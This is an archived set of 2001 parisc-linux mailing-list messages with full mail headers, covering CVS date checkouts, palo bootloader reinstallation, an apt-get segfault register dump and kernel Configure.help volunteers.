NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, bame@www.riverrock.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 09:17:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F1DA482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 May 2001 09:17:35 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4SFHSc97267;
	Mon, 28 May 2001 09:17:28 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA20072;
	Mon, 28 May 2001 09:17:24 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m154Olo-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 May 2001 09:17:24 -0600 (MDT) 
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Mon, 28 May 2001 15:06:38 BST." <20010528150638.B25745@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11137

> This still isn't solved.  If you install the slang1 and util-linux
> from the archive, and do not install slang1-dev, then cfdisk will
> not run:

It doesn't look like there's a bugs.debian.org report about this.  Maltranar
is perhaps the person who could file the most informed defect report.





From - Thu Nov 08 21:17:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i hate cvs
Date: Mon, 28 May 2001 09:29:35 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <m154Oxb-001VltC@bame.riverrock.org>
References: <20010528004858.L23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620146 19622 80.91.229.3 (22 Nov 2014 01:35:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, bame@www.riverrock.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 09:31:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10605482A
	for <parisc-linux@parisc-linux.org>; Mon, 28 May 2001 09:31:01 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4SFTec01025;
	Mon, 28 May 2001 09:29:40 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA20300;
	Mon, 28 May 2001 09:29:35 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m154Oxb-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <matthew@wil.cx>; Mon, 28 May 2001 09:29:35 -0600 (MDT) 
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matthew Wilcox <matthew@wil.cx> 
   of "Mon, 28 May 2001 00:48:58 BST." <20010528004858.L23718@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11138

> 
> someone want to tell me how to get a copy of our source tree from, say,
> May 19th?  cvs up -D'19 May 2001' is not the answer because it gets
> files off the vendor branch which is useless.

cvs -rHEAD  -D'19 May 2001'

Theoretically both a branch and a date are required because it's quite common
to have two or more branches with active files on them.  I'm surprised CVS
didn't implicitly do the '-rHEAD' thing to select the right branch, but not
terribly surprised.  The specific case of raw.h mentioned in IRC is one I'll
be looking at more closely...

	-P





From - Thu Nov 08 21:17:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i hate cvs
Date: Mon, 28 May 2001 10:31:07 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <m154Pv9-001VltC@bame.riverrock.org>
References: <20010528004858.L23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620147 19623 80.91.229.3 (22 Nov 2014 01:35:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, bame@www.riverrock.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 10:32:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFF4F482A
	for <parisc-linux@parisc-linux.org>; Mon, 28 May 2001 10:32:25 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4SGV8c20551;
	Mon, 28 May 2001 10:31:08 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA21583;
	Mon, 28 May 2001 10:31:07 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m154Pv9-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <matthew@wil.cx>; Mon, 28 May 2001 10:31:07 -0600 (MDT) 
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matthew Wilcox <matthew@wil.cx> 
   of "Mon, 28 May 2001 00:48:58 BST." <20010528004858.L23718@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11139

> 
> someone want to tell me how to get a copy of our source tree from, say,
> May 19th?  cvs up -D'19 May 2001' is not the answer because it gets
> files off the vendor branch which is useless.

Well there appear to be some interesting CVS "features" here which
are independent of the magic safe-cvsimport stuff we've done:

$ date > e
$ cvs add e
cvs add: scheduling file `e' for addition
cvs add: use 'cvs commit' to add this file permanently
$ cvs commit -mno-message e
RCS file: /tmp/cvs/b/e,v
done
Checking in e;
/tmp/cvs/b/e,v  <--  e
initial revision: 1.1
done
$ cvs up -rHEAD -Dnow e
cvs update: e is no longer in the repository
$ cvs up -Dnow e
U e
$ cvs -v
Concurrent Versions System (CVS) 1.11 (client/server)
 
So it looks like specifying date and HEAD branch (alias "trunk") together is 
hosed (other date+branches i checked work fine).  If it looks easy I'll submit 
this to the CVS folks.

I can fix our repository so willy's initial command works properly (without
the -rHEAD I proposed) by commiting an unchanged 1.2 revision for certain 
files.
They will probably require back-dating if we want retroactive date-based
check-outs to work and that will probably require me to have exclusive access
to pehc for a bit.  Another way to solve the problem is to un-import 2.2.4
from the vendor branch (untested but I think it'll work).  Suggestions?

	-P





From - Thu Nov 08 21:17:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Palo: how-to reinstall
Date: Mon, 28 May 2001 20:01:13 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD8942@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620147 19628 80.91.229.3 (22 Nov 2014 01:35:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 'Matthew Wilcox' <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 12:03:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2B5C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 May 2001 12:03:41 -0600 (MDT)
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d53cd64711e@epirel991.europay.com>;
 Mon, 28 May 2001 20:03:17 +0200
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <LBC17P1L>; Mon, 28 May 2001 20:03:44 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11140

Dear Matt,

I have to reinstall my root fs after some fatal mistakes. And I discover a
may25-3-wide raw and try it.

Just a problem when it try to reinstall palo (a had also this problem
before).
My system disk was already made bootable with palo and I do not want
re-format the all disk because of some other fs containing some packages and
test I do not want to loose.

Is there any tips to re-install palo on a working disk (writing 512 null
char at the beginning of the disk with dd?)?

Thanks in advance for advises,

	Joel


**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:17:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palo: how-to reinstall
Date: Mon, 28 May 2001 12:27:05 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <m154RjN-001VltC@bame.riverrock.org>
References: <A4A5E4C468B5D11190220001FA6835DD04DD8942@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620147 19632 80.91.229.3 (22 Nov 2014 01:35:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:47 +0000 (UTC)
Cc: "'Matthew Wilcox'" <matthew@wil.cx>,
	parisc-linux@lists.parisc-linux.org, bame@www.riverrock.org
To: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 12:28:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC5BE482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 May 2001 12:28:25 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4SIR6f57324;
	Mon, 28 May 2001 12:27:06 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA24084;
	Mon, 28 May 2001 12:27:05 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m154RjN-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <matthew@wil.cx>; Mon, 28 May 2001 12:27:05 -0600 (MDT) 
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM> 
   of "Mon, 28 May 2001 20:01:13 +0200." <A4A5E4C468B5D11190220001FA6835DD04DD8942@EPIXCH003> 
Xref: news.gmane.org gmane.linux.ports.parisc:11141

> Dear Matt,
> 
> I have to reinstall my root fs after some fatal mistakes. And I discover a
> may25-3-wide raw and try it.
> 
> Just a problem when it try to reinstall palo (a had also this problem
> before).
> My system disk was already made bootable with palo and I do not want
> re-format the all disk because of some other fs containing some packages and
> test I do not want to loose.
> 
> Is there any tips to re-install palo on a working disk (writing 512 null
> char at the beginning of the disk with dd?)?

The palo Debian package does nothing to your disk when it is installed.  This
will eventually change I think but not soon.

Palo does not modify the disk partition table, only the contents of the F0
partition and some parameters needed by the HP boot ROM.

I do not understand your problem -- can you give more details?

	-Paul Bame






From - Thu Nov 08 21:17:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some information on apt woes
Date: Mon, 28 May 2001 15:41:27 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <E154UlT-0002zr-00@noam.fc.hp.com>
References: <m153rqb-001VltC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620148 19633 80.91.229.3 (22 Nov 2014 01:35:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:48 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: bame@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 15:41:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13DDC482A
	for <parisc-linux@parisc-linux.org>; Mon, 28 May 2001 15:41:29 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 35F02977; Mon, 28 May 2001 17:41:28 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id PAA12337;
	Mon, 28 May 2001 15:41:27 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 154UlT-0002zr-00; Mon, 28 May 2001 15:41:27 -0600
In-Reply-To: Your message of "Sat, 26 May 2001 22:08:09 MDT."
             <m153rqb-001VltC@bame.riverrock.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:11142

Apt 0.4.0 repeatable problem details (may be other problems too):
(This does not look like a VM problem like 0.5.3 does in this case)

$ sudo rm /var/cache/apt/*.bin
$ sudo apt-get update
...
Fetched 1521kB in 5s (256kB/s)                     
Segmentation faultsts... 87%
$ dmesg | tail -20

do_page_fault() pid=11284 command='apt-get' type=6 address=0x322e3137
vm_start = 0x0001f000, vm_end = 0x0003c000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111
r0-3     0000000000000000 00000000003fd700 000000004008b74b 000000000001f850
r4-7     00000000400ca8e0 0000000000026140 000000007ff01010 000000007ff00e64
r8-11    000000007ff00f60 000000007ff01020 0000000000368dee 000000007ff00dc8
r12-15   000000007ff00e60 0000000000000030 000000007ff00df8 000000007ff00df0
r16-19   000000007ff00c50 000000007ff00de4 000000007ff00c38 000000002d737061
r20-23   000000000001e5c8 0000000000000000 00000000322e3137 0000000000000001
r24-27   0000000000000001 0000000000000003 0000000000026120 000000000001d900
r28-31   0000000000000001 0000000000000000 000000007ff01100 000000004008b74b
sr0-3    00000000003fd700 00000000003fd700 0000000000000000 00000000003fd700
sr4-7    00000000003fd700 00000000003fd700 00000000003fd700 00000000003fd700

IASQ: 00000000003fd700 00000000003fd700 IAOQ: 00000000322e3137 00000000322e313b
 IIR: 43ffff80    ISR: 00000000003fd700  IOR: 000000004001f148
ORIG_R28: 0000000000127acc

Note that the IAOQ is the string "2.14" so this one looks like a wild
function pointer dereference.  The code at %rp says:

   6072c:       0d 80 10 9a     ldw  0(sr0,r12),r26
   60730:       87 40 20 2a     cmpib,=,n 0,r26,0x6074c
   60734:       0f 58 10 94     ldw  c(sr0,r26),r20
   60738:       34 19 00 06     ldi 3,r25
   6073c:       0e 90 10 96     ldw  8(sr0,r20),r22
   60740:       eb f0 11 d8     b,l 0x81034,r31
   60744:       08 1f 02 42     copy r31,rp

which goes to here, which looks like it's probably $$dyncall()

   81034:       c7 d6 c0 12     bb,*>=,n r22,1e,0x81044
   81038:       d6 c0 1c 1e     depwi 0,31,2,r22
   8103c:       0e c8 10 93     ldw  4(sr0,r22),r19
   81040:       0e c0 10 96     ldw  0(sr0,r22),r22
   81044:       ea c0 c0 00     bv r0(r22)
   81048:       6b c2 3f d1     stw rp,-18(sp)




From - Thu Nov 08 21:17:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: Configure.help entries wanted
Date: Mon, 28 May 2001 20:39:31 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20010528203931.A4329@beavis.ybsoft.com>
References: <20010528073912.0A2EB482A@dsl2.external.hp.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620148 19635 80.91.229.3 (22 Nov 2014 01:35:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 28 20:39:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (lametoby.ybsoft.com [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D30C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 May 2001 20:39:37 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id D526ABCE5; Mon, 28 May 2001 20:39:31 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
In-Reply-To: <20010528073912.0A2EB482A@dsl2.external.hp.com>; from deller@gmx.de on Mon, May 28, 2001 at 09:37:51AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11143

I will grab CONFIG_IOMMU_CCIO.

thanks,

- Ryan

On Mon, May 28, 2001 at 09:37:51AM +0200, Helge Deller wrote:
> Hi,
> 
> I saw the following mail from lkml and thought we should feed Eric S. Raymond 
> with the necessary explanations for 
> CONFIG_IODC_CONSOLE and
> CONFIG_IOMMU_CCIO.
> 
> Anyone to volunteer for CONFIG_IOMMU_CCIO ? 
> I can take care of CONFIG_IODC_CONSOLE later today - even if it will be 
> removed later in the parisc-kernel development cycle.
> 
> Greetings,
> Helge




From - Thu Nov 08 21:17:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palo: how-to reinstall
Date: Tue, 29 May 2001 10:18:28 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <m154mCS-001VltC@bame.riverrock.org>
References: <A4A5E4C468B5D11190220001FA6835DD04DD8943@EPIXCH003>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620148 19639 80.91.229.3 (22 Nov 2014 01:35:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 10:19:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82851482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 May 2001 10:19:02 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4TGIeg61017;
	Tue, 29 May 2001 10:18:46 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA20810;
	Tue, 29 May 2001 10:18:28 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m154mCS-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 May 2001 10:18:28 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Tue, 29 May 2001 11:27:36 +0200."
             <A4A5E4C468B5D11190220001FA6835DD04DD8943@EPIXCH003> 
Original-Sender: bame@riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:11144

There are a couple of possible problems.

If your disk is bigger than 2Gb you will need at least palo-0.89 to
initialize it on a 32-bit box.  palo-0.90 is currently in the debian
archive and is a good choice.

The palo -U (or --update-partitioned) is not well tested and may not work
at all.

The best way to use and re-install palo is to put the right commands
in /etc/palo.conf (be sure to read how to do this properly).  Then you
can simply re-run 'palo' at any time safely.  You can also re-run
the command you used to install palo the first time.

> That is why at the beginning the only solution I found was to reformat the
> disk (fdisk) and reinstall from scratch.
> And I forgot that I have to report this problem and just keep in mind
> (abusively) that to reinstall command line (or other parameter) I have to
> reformat all my disk.

I hope you'll have better luck with palo-0.90!




From - Thu Nov 08 21:17:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palo: how-to reinstall
Date: Tue, 29 May 2001 13:01:06 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <m154ojq-001VltC@bame.riverrock.org>
References: <A4A5E4C468B5D11190220001FA6835DD04DD8943@EPIXCH003>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620149 19642 80.91.229.3 (22 Nov 2014 01:35:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 13:01:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 173D3482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 May 2001 13:01:33 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4TJ1CO60873;
	Tue, 29 May 2001 13:01:18 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA24683;
	Tue, 29 May 2001 13:01:06 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m154ojq-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 May 2001 13:01:06 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Tue, 29 May 2001 11:27:36 +0200."
             <A4A5E4C468B5D11190220001FA6835DD04DD8943@EPIXCH003> 
Original-Sender: bame@riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:11145

I must apologize we found a defect in palo-0.90 which prevents booting
on certain partition configurations.  palo-0.91 is just uploaded to
debian and should be available tomorrow.  I'll also upload to
puffin.external.hp.com in the regular place.  You can also use palo-0.88
if your disk is not more than 2Gb

	-P




From - Thu Nov 08 21:17:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palo: how-to reinstall
Date: Tue, 29 May 2001 13:08:00 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <m154oqW-001VltC@bame.riverrock.org>
References: <A4A5E4C468B5D11190220001FA6835DD04DD8943@EPIXCH003>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620149 19646 80.91.229.3 (22 Nov 2014 01:35:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 13:08:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B658482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 May 2001 13:08:22 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4TJ81O68972;
	Tue, 29 May 2001 13:08:06 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA24946;
	Tue, 29 May 2001 13:08:00 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m154oqW-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 May 2001 13:08:00 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Tue, 29 May 2001 11:27:36 +0200."
             <A4A5E4C468B5D11190220001FA6835DD04DD8943@EPIXCH003> 
Original-Sender: bame@riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:11146

Even with the bad palo you can boot.

Ask your boot rom to boot interactively.  On recent boxes it's
something like this:
	boot
	y

On 712:
	boot pri ipl

Once palo is interactive, edit #0 to be:

	0/vmlinux

this boots from the recovery kernel stored in the F0 partition.

	-P




From - Thu Nov 08 21:17:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of packages for hppa ISO release
Date: Tue, 29 May 2001 14:16:28 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20010529201628.279E037CFD@carmen.fc.hp.com>
References: <200105261645.KAA19506@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620149 19647 80.91.229.3 (22 Nov 2014 01:35:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Grant Grundler <grundler@puffin.external.hp.com>
